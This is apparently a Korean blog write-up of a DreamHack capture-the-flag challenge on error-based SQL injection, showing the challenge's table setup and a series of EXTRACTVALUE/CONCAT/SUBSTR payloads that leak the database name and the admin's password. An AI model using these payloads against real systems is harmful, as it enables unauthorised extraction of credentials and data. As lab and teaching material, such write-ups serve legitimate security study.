정보보안 공부/CTF(해킹)

[DreamHack] error based sql injection

pxatd 2023. 4. 7. 16:48
728x90

처음 보이는 화면 (현재는 내가 uid 부분에 guest 값을 입력했다.)

첨부된 파일을 살펴보니 uid 란에 값을 입력하면 화면에 표시되는 것 같다.

CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `users`;
CREATE TABLE user(
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
FLUSH PRIVILEGES;

.sql 파일로 현재 이 web의 데이터 베이스는

key uid upw

0 admin flag

1 guest guest

2 test test 임을 추측할 수 있다.

 

이 문제는 Error sqli이기 때문에 어떤 error가 발생하는지 알아보려고 extractvalue 함수를 이용해본다.

사용 방법 : EXTRACTVALUE(XML 형식의 값, XPath 조건식)

 

' union SELECT extractvalue(1, concat(0x3a,(selectdatabase()))); --

첫번째 인자에는 1을 넣었고 두번째 인자에 select database 문을 사용했다.

concat 함수는 문자열을 합치는 함수이다.

concat 함수의 인자값으로는 보통 0x3a(:) 의 문자열을 넣고 두 번째 인자값에는 함수값을 넣는 것이 일반적이다.

위 에러를 통해 users라는 데이터베이스 명을 얻을 수 있었다. (동시에 sqli 가 가능함을 알 수 있었다.)

 

그 후 나는 admin의 upw가 알고 싶은 것이므로 다음과 같은 쿼리를 작성해준다.

' union SELECT extractvalue(1, concat(0x3a,(select upw from user where uid = 'admin'))); --

select upw from user where uid = 'admin'

 

flag의 값이 너무 길어서 모두 출력하지 못 하는 것 처럼 보이므로 admin의 upw에 substr 함수를 이용하여 원하는 부분 (뒷 부분)만 보여지도록 쿼리를 작성한다.

사용 방법 : SUBSTR("문자열", "시작위치", "길이")

' union SELECT extractvalue(1, concat(0x3a,(select substr(upw,15,30) from user where uid = 'admin'))); --

flag 값을 모두 확인할 수 있었다.

 

728x90